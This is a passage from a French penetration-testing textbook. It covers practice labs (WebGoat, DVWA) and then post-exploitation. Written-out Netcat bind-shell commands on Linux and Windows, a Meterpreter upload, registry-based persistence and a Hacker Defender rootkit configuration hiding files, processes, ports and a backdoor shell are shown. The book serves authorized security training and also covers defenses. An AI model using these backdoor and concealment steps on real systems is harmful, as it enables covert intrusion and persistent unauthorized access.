peut tre difficile de trouver des sites vulnrables sur lesquels vous tes autoris mener ces attaques. Heureusement, les membres de lorganisation OWASP ont dvelopp une plateforme vulnrable afin que nous puissions apprendre et mettre en pratique les attaques de type web. Ce projet, nomm WebGoat, est un serveur web intentionnellement mal configur et vulnrable. WebGoat a t dvelopp en J2EE, ce qui nous permet de lexcuter sur nimporte quel systme qui dispose dun environnement dexcution Java. WebGoat sarticule autour dune trentaine de leons individuelles, qui forment un environnement dapprentissage raliste fond sur des scnarios. La plupart des leons ont pour objectif deffectuer une attaque prcise, comme utiliser linjection SQL pour contourner lauthentification. Elle prodigue chacune des conseils pour atteindre plus facilement lobjectif. Mais, comme pour nimporte quel exercice base de scnario, il est important de travailler dur et de rechercher soi-mme la rponse avant de consulter laide. Si vous utilisez des machines virtuelles dans votre laboratoire de hacking, vous devrez tlcharger WebGoat et linstaller dans une machine virtuelle. Il est compatible avec Linux et Windows, pour peu que Java (JRE) soit au pralable install sur le systme. WebGoat est disponible sur le site web officiel dOWASP, ladresse http://www.owasp.org/. Pour extraire le contenu du fichier tlcharg, vous aurez besoin de 7zip ou de tout autre programme qui prend en charge les fichiers .7z. Extrayez le contenu de larchive et notez lemplacement du dossier de WebGoat. Si vous employez un systme Windows, allez dans ce dossier et excutez le fichier webgoat_8080.bat en double-cliquant dessus. Une fentre dinvite de commande saffiche et vous devez la laisser ouverte pour que WebGoat fonctionne correctement. Si vous voulez accder WebGoat partir de la machine sur laquelle il sexcute, lancez votre navigateur et ouvrez lURL http://127.0.0.1:8080/webgoat/attack. Si tout se passe correctement, vous arrivez une invite douverture de session. Le nom dutilisateur et le mot

de passe sont tous deux "guest". Lisez le fichier README.txt, en prtant attention aux avertissements. Plus prcisment, vous devez comprendre quil est extrmement dangereux dexcuter WebGoat en dehors dun laboratoire, car votre systme devient vulnrable aux attaques. Faites toujours preuve de prudence et excutez WebGoat uniquement dans un environnement correctement isol. Vous pouvez galement tlcharger Damn Vulnerable Web App partir de ladresse http://www.dvwa.co.uk/ et linstaller. DVWA est une autre application volontairement non scurise qui utilise PHP et MySQL pour offrir un environnement de test.

Et ensuite
Nous lavons soulign plusieurs reprises, il va sans dire que ce vecteur dattaque va continuer se dvelopper. Ds que vous matrisez les bases prsentes dans ce chapitre, vous devez tendre vos connaissances en tudiant des sujets plus labors du hacking des applications web, notamment les attaques ct client, la gestion de session et laudit du code source. Si vous ne savez pas quels sujets aborder et souhaitez rester en phase avec les nouveauts des attaques web, consultez la page "Top 10" des projets OWASP. Il sagit dune liste officielle des principales menaces web tablies par les chercheurs et experts en scurit. Si vous souhaitez en savoir plus sur le hacking web, consultez louvrage The Basics of Web Hacking: Tools and Techniques to Attack the Web, par Dr. Josh Pauli. Il constituera une suite parfaite de ce chapitre.

Ressources supplmentaires
Quand on sintresse la scurit web, il est difficile de ne pas

mentionner OWASP. Nous lavons indiqu prcdemment, la liste des dix principaux projets OWASP constitue un bon point de dpart. Elle est disponible sur le site web http://www.owasp.org, mais vous pouvez galement effectuer une recherche sur Google avec les termes "OWASP Top Ten". Vous devez surveiller cette liste, car elle est continuellement mise jour et volue en fonction des tendances, des risques et des menaces. Soulignons que loutil WebSecurify dcrit prcdemment dans ce chapitre est capable de tester automatiquement toutes les catgories de menaces recenses dans la liste OWASP Top Ten Projects ! Puisque nous en sommes citer OWASP et que ses membres fournissent un outil fantastique pour lapprentissage de la scurit des applications web, vous aurez tout intrt rejoindre cet organisme. Aprs que vous vous serez inscrit, vous aurez plusieurs manires de vous impliquer dans les diffrents projets et de dvelopper vos connaissances en scurit web. Outre le projet WebScarab, vous devez vous faire la main avec les autres proxies web. Burp Proxy et Paros Proxy sont deux excellents outils gratuits pour linterception des requtes, la modification des donnes et lindexation des sites web. Enfin, tout testeur dintrusion web devra se familiariser avec plusieurs autres outils. Lun de mes collgues et amis est un expert en intrusion dans les applications web et il ne jure que par Burp Suite. son avis, il sagit du meilleur outil de test des applications disponibles aujourdhui. Jai tudi de nombreux outils daudit web et il est vrai que Burp est excellent. Une version gratuite est fournie avec Kali. Elle est accessible via le menu Applications > Kali Linux > Applications Web > Procurations des WebApp > burpsuite. Si vous nutilisez pas Kali, la version gratuite de Burp peut tre tlcharge partir du site web de la socit, ladresse http://portswigger.net/burp/download.html.

En rsum
Puisque le Web devient de plus en plus "excutable" et que quasiment chaque cible est prsente sur le Web, ce chapitre sest intress lexploitation web. Nous avons commenc par une vue densemble des attaques web de base et par une prsentation des techniques et des outils dinterrogation des serveurs web. Nous avons employ Nikto et w3af pour la localisation de vulnrabilits prcises sur un serveur web. Lexploration du site web cible afin de connatre ses rpertoires et fichiers a t illustre au travers dun robot dindexation. Linterception des requtes envoyes un site web a t dcrite laide de loutil WebScarab. Les attaques par injection de code, qui constituent une menace srieuse sur la scurit web, ont t prsentes. Plus prcisment, nous avons tabli les bases de linjection SQL. Nous avons ensuite prsent XSS ( cross-site scripting) et en avons donn un exemple. Enfin, nous avons abord ZAP, un outil unique pour mener un scan et des attaques web.

7 Postexploitation et maintien daccs

Introduction
Maintenir laccs au systme distant est une activit dlicate qui doit tre prsente et clairement explique au client. De nombreuses entreprises souhaitent que le testeur dintrusion achve son travail mais craignent de lautoriser faire usage de portes drobes. Elles ont peur que ces accs clandestins soient dcouverts et exploits par un tiers non autoris. Imaginez que vous soyez le directeur informatique dune entreprise. Pensez-vous que vous dormiriez sur vos deux oreilles en sachant quil existe une porte drobe ouverte au sein de votre rseau ? Noubliez pas que le client fixe la fois ltendue et les autorisations du test dintrusion. Vous devrez prendre le temps dexpliquer et de discuter de cette phase avant daller plus loin. Il peut arriver que lon vous demande de mener un test dintrusion qui implique lutilisation dune porte drobe. Que ce soit pour fournir une preuve du concept ou simplement pour crer un scnario raliste dans lequel lassaillant peut revenir sur la cible, il est important de comprendre les bases de cette phase. Les portes drobes rutilisables ouvertes en permanence sur les systmes sont le meilleur ami de lassaillant malveillant. Autrefois, les hackers se contentaient dattaques de type cambriolage. Autrement dit, ils pntraient sur un serveur, volaient les donnes et senfuyaient. Aujourdhui, il est clair que les assaillants visent plus le long terme et sintressent aux accs permanents des systmes et des rseaux cibles. Cest pourquoi, si vous devez simuler les actions dun black hat dtermin et comptent, il est important que vous compreniez cette phase. En bref, une porte drobe est un logiciel qui rside sur lordinateur cible et qui permet lassaillant de revenir (se connecter) la machine tout moment. Dans la plupart des cas, la porte drobe est un processus cach qui sexcute sur la machine cible et qui permet un utilisateur normalement non autoris de la contrler. Il faut savoir que la plupart des exploits sont phmres. Ils fonctionnent

et donnent un accs uniquement tant que le programme qui a t exploit sexcute. En gnral, aprs que la machine cible a redmarr ou que le processus exploit a t stopp, le shell dorigine (accs distant) est perdu. Par consquent, aprs avoir obtenu un accs un systme, lune des premires actions consiste dplacer le shell vers un endroit plus permanent. Cela passe souvent par lutilisation de portes drobes. Plus loin dans ce chapitre, nous prsenterons les rootkits. Il sagit dune sorte de logiciels particuliers qui ont la capacit de senfouir profondment dans le systme dexploitation et de raliser diffrentes tches, comme donner au hacker la possibilit de masquer totalement des processus et des programmes. la fin de ce chapitre, nous conclurons par une prsentation de lune des charges dexploitation les plus populaires et les plus puissantes de Metasploit, le shell Meterpreter. Savoir utiliser et exploiter Meterpreter sera indispensable pour la postexploitation.

Netcat
Netcat est un outil incroyablement simple et souple qui permet aux communications et au trafic rseau de passer dune machine une autre. Sa flexibilit en fait un excellent candidat pour la mise en place dune porte drobe, mais cet outil a des dizaines dautres utilisations. Il peut servir transfrer des fichiers entre des machines, raliser des scans de ports, mettre en place un systme de communication lger pour des conversations instantanes et mme proposer un serveur web simple. Dans cette section, nous prsentons les bases, mais vous devrez passer du temps exprimenter et jouer avec Netcat. Vous serez tonn des possibilits de cet outil. Ce nest pas sans raison quil est considr comme le couteau suisse du TCP/IP. Netcat a t initialement dvelopp par Hobbit en 1996. Il prend en charge lenvoi et la rception dun trafic TCP et UDP. Il peut oprer en

tant que client ou serveur. Lorsquil joue le rle de client, Netcat peut tre utilis pour crer une connexion rseau avec un autre service (y compris une autre instance de Netcat). Il est important de ne pas oublier que Netcat est capable de se connecter partir de nimporte quel port de la machine locale sur nimporte quel port de la machine cible. Lorsquil fonctionne en mode serveur, il agit en couteur qui attend une connexion entrante. Attention Pour suivre lexemple donn dans cette section, Netcat doit tre install sur au moins deux machines virtuelles. La premire instance doit se trouver sur la machine de lassaillant, la seconde, sur la cible/victime. Netcat est dj install sur Kali et Metasploitable. Si vous navez pas encore compromis la machine virtuelle Metasploitable, vous devrez peuttre commencer par installer Netcat sur votre cible Windows. Plus loin dans ce chapitre, nous expliquerons comment excuter des commandes distance, mais, pour le moment, elles seront saisies sur chaque terminal local. Commenons par un exemple trs simple dutilisation de Netcat. Nous le configurons de faon servir de canal de communication entre deux machines. Pour sa mise en place sur la machine cible/victime, nous devons simplement choisir un port et lui indiquer doprer en mode coute. En supposant que la cible soit une machine Linux, excutez la commande suivante depuis un terminal : nc -l -p 1337 nc sert videmment lancer le programme Netcat. Loption -l le place en mode coute. Loption -p permet de prciser le numro de port sur lequel Netcat doit couter. Aprs lexcution de la commande, Netcat sexcute et attend quune demande de connexion entrante soit effectue sur le port

1337. prsent que Netcat coute sur la machine cible, nous pouvons aller sur la machine dattaque. Pour tablir une connexion avec la machine cible, excutez la commande suivante : nc 192.168.56.102 1337 Netcat tente alors de se connecter au port 1337 de la machine dont ladresse IP est 192.168.56.102. Puisque nous avons configur la premire machine pour quelle coute sur ce port, les deux PC doivent prsent tre en mesure de communiquer. Pour le tester, il suffit de saisir du texte dans lune des deux fentres de terminal. En effet, le clavier reprsente lentre standard et Netcat transmet simplement les donnes saisies sur la connexion. Pour terminer la "discussion" et fermer la session, il suffit dappuyer sur les touches Ctrl+C ; la connexion Netcat est alors interrompue. La Figure 7.1 illustre ce type dchange entre deux ordinateurs.

Figure 7.1 Communiquer entre deux ordinateurs avec Netcat. Lorsque nous tuons ou fermons la connexion Netcat, nous devons redmarrer le serveur sur la machine cible avant de pouvoir tablir une autre connexion. Il est peu efficace de retourner systmatiquement sur la machine cible pour relancer Netcat. Heureusement, avec la version Windows de Netcat, nous avons une solution pour viter ce problme. Lors de son lancement en mode coute, nous pouvons remplacer loption -l par loption -L afin que la connexion reste ouverte sur le port indiqu,

mme aprs la dconnexion du client. En quelque sorte, le programme devient persistant. videmment, pour quil soit rellement persistant, il faut que la commande sexcute chaque fois que la machine dmarre. Dans le cas dun ordinateur Windows, il suffit dajouter le programme Netcat la ruche HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\ru Malheureusement, tablir une connexion rseau persistante avec la version Linux de Netcat nest pas aussi simple. Nous devons crire un petit script bash qui force le redmarrage de Netcat lorsque la connexion est ferme. Si cette possibilit vous intresse, vous trouverez de nombreux exemples sur Internet. Bien que lexemple prcdent soit une utilisation intressante de Netcat et quil illustre la souplesse et la puissance de loutil, vous nutiliserez probablement jamais cette fonction de discussion lors dun test dintrusion. En revanche, aprs que Netcat a t envoy sur le systme cible, ses autres possibilits vont se rvler trs pratiques. Examinons par exemple le transfert de fichiers. Lorsquun shell Meterpreter est en cours dexcution, le transfert de fichiers entre les ordinateurs na rien de compliqu, mais, ne loubliez pas, nous ne voulons pas exploiter la cible en permanence. Lobjectif est de lexploiter une fois et dy installer une porte drobe afin de pouvoir y revenir ultrieurement. Si nous avons tlcharg Netcat sur la cible, nous pouvons nous en servir pour changer des fichiers au travers du rseau. Supposons que nous voulions envoyer un nouveau fichier depuis notre machine dattaque vers la machine cible. Sur celle-ci, il suffit dexcuter la commande suivante : nc -l -p 7777 > virus.exe Elle place Netcat en attente dune connexion entrante sur le port 7777 et toute donne reue sera enregistre dans un fichier nomm virus.exe .

Sur la machine locale, nous utilisons Netcat pour tablir une connexion avec la cible et indiquons le fichier lui envoyer. Ce fichier peut tre de nimporte quel type, avec nimporte quelle extension ( .exe , .doc , .pdf, .bat, .com, .iso, etc.). Dans notre exemple, nous envoyons un fichier nomm virus.exe . Votre systme ne disposera probablement pas de ce fichier, mais vous pouvez le remplacer par nimporte quel fichier ou document de votre machine dattaque que vous souhaitez envoyer la victime. La procdure commence par lexcution de la commande suivante : nc 192.168.56.102 7777 < virus.exe Par dfaut, Netcat naffiche aucune information qui nous permet de savoir que le transfert est achev. Puisque nous ne recevons aucune indication, il est prfrable dattendre quelques secondes et dappuyer ensuite sur Ctrl+C pour fermer la connexion. ce stade, nous pouvons excuter la commande ls sur la machine cible et voir le nouveau fichier cr. La Figure 7.2 illustre la procdure.

Figure 7.2 Transfrer des fichiers avec Netcat. En inversant les commandes prcdentes, nous pouvons videmment tablir une connexion Netcat de faon extraire des fichiers depuis la machine cible. Au cours dun test dintrusion, vous dcouvrirez souvent des ports ouverts qui apportent peu ou pas dinformations supplmentaires. Vous risquez de rencontrer des cas o Nmap et Nessus sont incapables didentifier le service qui utilise le port. Dans ce cas, il peut tre intressant dutiliser Netcat pour se connecter en aveugle sur ce port. Lorsque la connexion

est tablie, il suffit de frapper sur les touches du clavier pour envoyer des donnes au port. Dans certains cas, cela dclenchera une rponse du service qui permettra peut-tre didentifier ce dernier. Prenons un exemple. Supposons que nous menions un test dintrusion sur un serveur cible dont ladresse IP est 192.168.56.102. Au cours du scan, nous dcouvrons que le port 50001 est ouvert. Malheureusement, aucun scanner de ports ou de vulnrabilits nest en mesure de dterminer le service qui coute sur ce port. Nous pouvons alors utiliser Netcat pour interagir avec ce service inconnu. Il suffit dexcuter la commande suivante : nc 192.168.56.102 50001 Elle tente de crer une connexion TCP sur le port et le service. Si le service se fonde sur UDP, il faudra ajouter loption -u pour indiquer Netcat denvoyer des paquets UDP. Une fois la connexion tablie, il suffit gnralement de saisir du texte et dappuyer sur la touche Entre pour lenvoyer au service. Si celui-ci rpond une requte inattendue, nous pouvons parfois en dduire sa fonction. La Figure 7.3 illustre un exemple.

Figure 7.3 Interroger un service inconnu avec Netcat. Nous avons utilis Netcat pour nous connecter au port 50001. Ds la connexion tablie, nous avons saisi le mot "test", qui a t envoy au service cible. La rponse que celui-ci a renvoye montre clairement quil sagit dun serveur web. Mieux encore, il sest intgralement identifi : serveur web Apache en version 2.2.8 sur une machine Ubuntu Linux ! Si vous souhaitez tester cet exemple avec une machine virtuelle Metasploitable par dfaut, connectez-vous au port 80. Enfin, nous pouvons employer Netcat pour le lier un processus et rendre celui-ci disponible au travers dune connexion distance. Cela nous permet dinteragir avec le programme li comme si nous tions devant la machine cible elle-mme. Nous lanons Netcat avec loption -e en indiquant le programme excuter. Ce programme sera lanc sur la machine cible et sexcutera uniquement lorsquune connexion sera tablie. Loption -e est incroyablement puissante et trs utile pour mettre en place sur la cible un shell accessible via une porte drobe. Pour crer la porte drobe, nous utilisons loption -e de sorte quun shell soit li un numro de port de la machine cible. En configurant Netcat ainsi, nous dclencherons lexcution du programme pass avec loption -e simplement en nous connectant la cible. Voici la commande excuter sur une machine Linux : nc -l -p 12345 e /bin/sh La cible va alors fournir un shell quiconque se connecte au port 12345. nouveau, les commandes envoyes depuis le client Netcat (la machine dattaque) vers la machine cible seront excutes localement comme si lassaillant tait physiquement assis devant la cible. Cette technique peut galement tre employe sur une machine Windows. Dans ce cas, voici la commande excuter :

nc.exe L p 12345 c:\Windows\System32\cmd.exe Attention Puisquil sagit dune machine Windows, nous utilisons loption -L afin de rendre la connexion persistante. Mme si nous fermons la connexion sur notre machine, Netcat continue couter sur le port indiqu. Lors de la prochaine connexion la machine cible, le shell cmd est excut pour nous. Plaons lexemple prcdent dans un contexte en esprant le rendre plus concret. Pour cela, voyons comment mettre en place une porte drobe avec Netcat. Le scnario est le suivant. Supposons que nous ayons russi exploiter une cible Windows. Puisque nous sommes des testeurs dintrusion qui rflchissent sur le long terme, nous dcidons de crer une porte drobe plus stable sur ce systme afin de pouvoir y revenir ultrieurement. Nous choisissons donc dutiliser Netcat pour la porte drobe. La premire opration consiste envoyer Netcat sur la machine cible ; dans cet exemple, lexcutable de Netcat a t plac dans le rpertoire System32 de la cible. Supposons que nous ayons profit de nos connaissances acquises au Chapitre 4 et que nous utilisions le shell Meterpreter pour interagir avec la cible. Ds lors, nous pouvons envoyer le fichier de Netcat sur la victime en excutant la commande suivante : meterpreter > upload nc.exe c:\\windows\\system32 Attention bien envoyer la version Windows ( .exe ) de Netcat car la cible utilise ce systme dexploitation. Nous avons donc transfr le programme nc.exe dans le rpertoire Windows\System32. Cela nous permet daccder directement au programme cmd.exe . Nous devons ensuite choisir un numro de port, y

lier le programme cmd.exe et lancer Netcat en mode serveur. De cette manire, Netcat va attendre une connexion entrante sur le port indiqu. Pour raliser toutes ces oprations, nous excutons la commande suivante depuis un terminal (de nouveau, nous supposons que nous sommes dans le mme rpertoire que Netcat) : meterpreter > nc L p 5777 e cmd.exe ce stade, Netcat doit tre en cours dexcution sur la machine cible. Si vous voulez que la porte drobe soit vritablement persistante, avec la possibilit de survivre un redmarrage, la commande Netcat prcdente doit tre place dans le Registre de Windows afin de dmarrer automatiquement. Puisque Netcat est configur, nous pouvons fermer notre shell Meterpreter et tablir une connexion avec la cible en utilisant Netcat. prsent, vous ne devriez plus avoir aucun doute quant la puissance et la flexibilit de Netcat. Et, pourtant, dans cette section nous navons fait quaborder ses possibilits. Si vous prenez le temps de vous plonger dans cet outil, vous constaterez que certaines personnes ont t en mesure de raliser des choses rellement surprenantes. Nous vous encourageons tudier ces mises en uvre astucieuses en effectuant des recherches sur le Web.

Cryptcat
Netcat montre des qualits exceptionnelles, mais le programme prsente quelques limitations. En particulier, il faut bien comprendre que le trafic qui passe entre un client et un serveur Netcat se fait en clair. Autrement dit, quiconque examine le trafic ou coute la connexion pourra tout savoir des informations transmises entre les machines. Cryptcat a t dvelopp pour traiter ce problme. Il se fonde sur un chiffrement twofish pour que le trafic chang entre le client et le serveur reste confidentiel.

La beaut de Cryptcat rside dans le fait que nous navons aucune nouvelle commande apprendre. Si nous matrisons dj Netcat, alors, nous matrisons Cryptcat ; avec lavantage de transfrer les donnes au travers dun canal chiffr. La personne qui couterait ou analyserait le trafic rseau ne serait pas en mesure de dterminer les informations qui transitent entre le client et le serveur. Avant demployer Cryptcat, il ne faut surtout pas oublier de changer la cl par dfaut, metallica, avec loption -k. Dans le cas contraire, tout le monde sera en mesure de dchiffrer les sessions. Pour mettre en place un canal chiffr entre deux machines laide de Cryptcat, dmarrez le serveur laide de la commande suivante : cryptcat l p 5757 Voici la commande excuter pour lancer le client : cryptcat 192.168.56.102 5757

Rootkits
Lorsque lon est confront pour la premire fois la puissance et lingniosit des rootkits, ltonnement est habituellement de mise. Pour le non-initi, les rootkits sont comparables de la magie noire. Ils sont souvent simples installer et peuvent donner des rsultats incroyables. Lexcution dun rootkit donne la possibilit de masquer des fichiers, des processus et des programmes comme sils navaient jamais t installs sur lordinateur. Ils peuvent servir masquer des fichiers aux yeux des utilisateurs, comme ceux du systme dexploitation lui-mme. Les rootkits sont si efficaces quils chappent souvent aux logiciels antivirus mme les mieux configurs. Le terme rootkit drive du mot "root", comme dans un accs de niveau root ou administrateur, et du mot

"kit", comme une collection doutils fournis par un paquetage logiciel. Attention Comme toujours, et plus encore dans ce cas, vous devez tre certain 100 % que votre client vous autorise employer des rootkits avant de les dployer au cours du test dintrusion. La mise en place dun rootkit sans autorisation est une bonne manire de mettre rapidement fin votre carrire et de vous retrouver derrire des barreaux. Mme si vous avez t pleinement autoris mener un test dintrusion, vrifiez minutieusement que vous tes explicitement autoris employer un rootkit. Nous lavons mentionn prcdemment, les rootkits sont extrmement discrets. Ils peuvent tre employs diffrents objectifs, notamment laugmentation des privilges, lenregistrement des frappes au clavier, linstallation des portes drobes et dautres tches nfastes. De nombreux rootkits chappent la dtection car ils oprent depuis lintrieur du noyau, cest--dire un niveau infrieur au systme dexploitation lui-mme. Les logiciels avec lesquels les utilisateurs interagissent gnralement se trouvent un niveau suprieur du systme. Lorsque des outils, comme les antivirus, doivent effectuer une opration, ils transmettent souvent cette requte aux couches infrieures du systme. Puisque les rootkits se trouvent au plus profond du systme dexploitation, ils peuvent intercepter ces diffrents appels entre les logiciels et le systme. En interceptant les demandes dun logiciel, le rootkit est capable de modifier la rponse. Prenons un exemple. Supposons que nous voulions connatre les processus qui sexcutent sur une machine Windows. Pour cela, nous appuyons sur les touches Ctrl+Alt+Del. Nous choisissons de lancer le Gestionnaire des tches afin de visualiser les processus et les services en cours dexcution. En gnral, les personnes examinent la

liste des processus et sen satisfont. Bien que notre explication soit trs simplifie, elle doit vous aider comprendre les bases. Le Gestionnaire des tches effectue un appel au systme dexploitation pour lui demander la liste des processus et des services en cours dexcution. Le systme collecte tous les programmes en excution dont il a connaissance et retourne la liste. Cependant, si nous ajoutons un rootkit, les choses se compliquent lgrement. Puisquun rootkit a la possibilit dintercepter et de modifier les rponses renvoyes par le systme dexploitation, il peut simplement supprimer des programmes, des services et des processus choisis dans la liste renvoye lutilisateur. Cela se passe de faon instantane, sans que lutilisateur ne constate une diffrence. Le programme fonctionne parfaitement et affiche exactement ce que lui fournit le systme dexploitation. Le rootkit se dbrouille simplement pour faire mentir le systme dexploitation. Il est important de souligner quun rootkit nest pas un exploit. Il doit tre envoy sur le systme aprs que celui-ci a t exploit. Les rootkits sont gnralement utiliss pour masquer des fichiers et des programmes, et pour installer des portes drobes discrtes. Hacker Defender Ne vous laissez pas abuser par son nom, Hacker Defender est bel et bien un rootkit, non une solution de dfense des hackers ! Il sagit dun rootkit Windows complet quil est relativement facile de comprendre et de configurer. Pour vous le procurer, vous devrez faire une recherche sur Internet. Faites simplement attention ne pas tlcharger ni installer malencontreusement un logiciel malveillant ! Hacker Defender est constitu de trois fichiers principaux : hxdef100.exe , hxdef100.ini et bdcli100.exe . Bien que larchive .zip comprenne plusieurs autres fichiers, nous nous focaliserons sur ces troisl. hxdef100.exe correspond au fichier excutable qui lance Hacker Defender sur la machine cible. hxdef100.ini est le fichier de

configuration dans lequel nous dfinissons les options utiliser et recensons les programmes, fichiers et services masquer. bdcli100.exe reprsente le logiciel client utilis pour se connecter la porte drobe mise en place par Hacker Defender. Aprs que nous avons tlcharg le fichier hxdef100.zip sur la cible, nous devons en extraire le contenu. Pour simplifier, il est prfrable de crer un dossier unique la racine du lecteur cible. Dans le cadre de cet exemple, nous crons le dossier rk (comme rootkit) la racine du lecteur C:\. Tous les fichiers, y compris hxdef100.zip et son contenu, doivent tre placs dans ce dossier. Il sera ainsi plus facile deffectuer le suivi des fichiers, doffrir un endroit centralis o dposer des outils supplmentaires et de masquer ce dossier. Une fois lextraction termine, nous pouvons configurer Hacker Defender en modifiant le fichier hxdef100.ini. Ce fichier comprend plusieurs sections. Chaque section principale commence par un nom plac entre crochets. La Figure 7.4 montre un exemple de fichier de configuration par dfaut.

Figure 7.4 Le fichier de configuration par dfaut de Hacker Defender. Vous le constatez, les intituls de sections sont nombreux, avec notamment [Hidden Table], [Hidden Processes], [Root Processes] et [Hidden Services]. Vous noterez galement que la configuration comprend deux entres par dfaut. Elles ont pour but de masquer les fichiers de Hacker Defender et la porte drobe intgre. Vous navez donc pas les modifier ni apporter des changements supplmentaires.

Puisque le fichier .ini reconnat le caractre gnrique "*", tout fichier dont le nom commence par la lettre "hxdef" sera automatiquement inclus dans la liste. Partons du dbut et examinons chaque intitul. La premire section se nomme [Hidden Table]. Les fichiers, rpertoires et dossiers recenss dans cette section ne seront pas visibles dans lexplorateur et le gestionnaire de fichiers de Windows. Si vous avez cr un dossier la racine du lecteur, comme nous lavons suggr prcdemment, noubliez pas de lajouter cette liste. Pour notre exemple, nous indiquons "rk" dans la section [Hidden Table]. Dans la section [Hidden Processes], nous prcisons les processus et les programmes qui devront tre cachs lutilisateur. Ils napparatront pas dans la liste des processus en cours dexcution affiche par le Gestionnaire des tches. Prenons un exemple non malveillant en supposant que nous voulions masquer le programme de la calculatrice. Pour cela, il suffit dajouter calc.exe dans la section [Hidden Processes]. Dans ce cas, lutilisateur ne sera plus en mesure dinteragir avec le processus de la calculatrice. Aprs que le rootkit a dmarr, du point de vue de lutilisateur, le logiciel de la calculatrice nest plus disponible sur lordinateur. La section [Root Processes] est utilise pour autoriser certains programmes interagir avec les dossiers et les processus prcdemment masqus. En effet, laide des sections prcdentes, nous retirons la possibilit de dtecter, de voir et dinteragir avec diffrents fichiers et programmes. Grce cette section, nous pouvons indiquer les programmes qui auront un contrle total et qui seront donc en mesure de voir et dinteragir avec les programmes du systme, y compris ceux indiqus dans les sections [Hidden Table] et [Hidden Processes]. Si nous avons des programmes qui sinstalleront ou sexcuteront en tant que services, comme un serveur FTP, un serveur web, une porte drobe, etc., nous devons les mentionner dans la section [Hidden Services].

linstar des autres sections, celle-ci masquera chacun des services indiqus. De nouveau, dans le Gestionnaire des tches, tout programme mentionn dans cette section napparatra plus dans la liste des services. La section [Hidden RegKeys] sert masquer des cls du Registre. Quasiment tous les programmes crent des cls dans le Registre, que ce soit au moment de leur installation ou de leur excution. Cette section permet de camoufler ces cls. Assurez-vous de les indiquer toutes afin dviter une ventuelle dtection. Dans certains cas, nous avons besoin dun contrle plus fin que le simple masquage de lintgralit de la cl. Lorsquune cl complte est absente (ou cache), un administrateur systme comptent peut devenir suspicieux. Pour tenir compte de cette possibilit, Hacker Defender propose la section [Hidden RegValues]. Les informations saisies serviront masquer des valeurs individuelles plutt que des cls compltes. La liste donne dans la section [Startup Run] correspond aux programmes qui seront excuts automatiquement ds le dmarrage de Hacker Defender. Cest l o vous pouvez placer la commande Netcat si vous souhaitez crer une porte drobe. Prenez simplement soin de le configurer en mode coute ! Linstallation dun programme sur une machine Windows cre automatiquement des cls et des valeurs dans le Registre, mais il occupe galement de la place sur le disque de la cible. Un administrateur attentif risque de remarquer linstallation dun programme qui ncessite un espace important. Si un utilisateur dmarre son ordinateur le matin et dcouvre que la moiti de son disque dur est soudainement utilise, il risque de se poser des questions. Nous pouvons utiliser la section [Free Space] pour obliger lordinateur "rajouter" la quantit despace libre que nous avons utilise. La valeur numrique indique sera additionne lespace rellement disponible. Autrement dit, si nous installons un logiciel qui occupe 1 Go, nous devons indiquer la valeur 1073741824 dans la section [Free Space]. En procdant ainsi, nous rduisons le risque

dtre reprs. Notez que cette valeur est donne en octets. Si vous avez besoin daide pour les conversions en octets, kilo-octets, mgaoctets et gigaoctets, vous trouverez plusieurs calculatrices sur Internet. Lorsque nous savons quels ports nous voulons ouvrir, nous pouvons les numrer dans la section [Hidden Ports]. Elle se dcompose en entres secondaires : TCPI:, TCPO: et UDP:. Dans la sous-section TCPI:, nous mentionnons les ports entrants que nous voulons masquer lutilisateur. Sils sont multiples, il suffit de les sparer par une virgule. La section TCPO: est rserve aux ports TCP sortants, qui doivent tre masqus. La section UDP: concerne quant elle les ports UDP. Puisque vous avez prsent une ide de la configuration des paramtres de base de Hacker Defender, examinons cet outil en action. Dans notre exemple, nous installons Hacker Defender dans un dossier rk sur le lecteur C:\. Nous y plaons galement une copie de Netcat. La Figure 7.5 illustre le fichier de configuration.

Figure 7.5 Le nouveau fichier de configuration hxdef100.ini. Nous avons ajout quelques lignes supplmentaires la configuration par dfaut. Plus prcisment, nous avons indiqu le dossier rk dans la section [Hidden Table], lexcutable de Netcat dans la section [Hidden Processes] et le dmarrage automatique de Netcat en mode serveur, avec un shell cmd li au port 8888. Pour amliorer la discrtion, nous pouvons galement ajouter 8888 dans la section [Hidden Ports]. La Figure 7.6 montre deux captures dcran prises avant le dmarrage de

Hacker Defender. Vous remarquerez que le dossier rk et le programme Netcat ( nc.exe ) sont parfaitement visibles.

Figure 7.6 Avant lexcution du rootkit, le dossier et le programme sont visibles. En revanche, aprs que le fichier hxdef100.exe a t excut, le rootkit est pleinement actif. La Figure 7.7 rvle que le dossier rk et le programme nc.exe ne sont plus vus par lutilisateur.

Figure 7.7 Aprs lexcution du rootkit, le dossier et le programme sont invisibles. Vous le constatez, mme un simple rootkit comme Hacker Defender est capable de masquer les fichiers. Les rootkits forment un vaste sujet et nous pourrions aisment consacrer un ouvrage complet aux dtails techniques, leur cration et leur fonctionnement interne. La technologie des rootkits, comme celle de tout logiciel malveillant, continue se dvelopper rapidement. Pour vritablement matriser les rootkits, vous devrez commencer par approfondir vos connaissances du noyau du systme dexploitation. Aprs que vous en aurez termin avec les bases, nous vous conseillons fortement de pntrer dans le terrier du lapin malveillant et de voir jusquo il peut aller.

Dtecter les rootkits et sen dfendre


Rompons avec les conventions de cet ouvrage et prenons un peu de temps pour prsenter les stratgies de dfense contre les rootkits. Puisque nous nous focalisons sur les bases, les dfenses contre les techniques dcrites la section prcdente sont relativement simples : surveiller de prs les informations mises disposition sur Internet ; configurer correctement le pare-feu et les listes de contrle daccs ; appliquer les correctifs aux systmes ; installer et utiliser un logiciel antivirus ; utiliser un systme de dtection dintrusion. Cette liste est loin dtre exhaustive, mais elle constitue un bon point de dpart pour des systmes de dfense. Cependant, malgr la mise en place de toutes ces stratgies, les rootkits peuvent rester un danger. Dtecter les rootkits et sen dfendre ncessitent quelques tapes supplmentaires. Il faut tout dabord comprendre que la configuration et linstallation dun rootkit exigent un accs de niveau administrateur. Par consquent, la premire tape consiste abaisser les droits des utilisateurs. Il nest pas rare de trouver des rseaux dots de machines Windows sur lesquelles chaque utilisateur est membre du groupe des administrateurs. En gnral, lorsquon demande pourquoi tous les utilisateurs sont des administrateurs, lquipe informatique hausse les paules ou donne une pitre excuse, par exemple parce quun utilisateur doit tre administrateur pour pouvoir lancer un certain logiciel. Mais nous ne sommes plus en 1998. Il y a bien quelques raisons valables pour que certains utilisateurs aient les droits de ladministrateur, mais la plupart des systmes dexploitation modernes offrent la possibilit daugmenter temporairement les privilges laide des commandes su ou "Excuter en tant que".

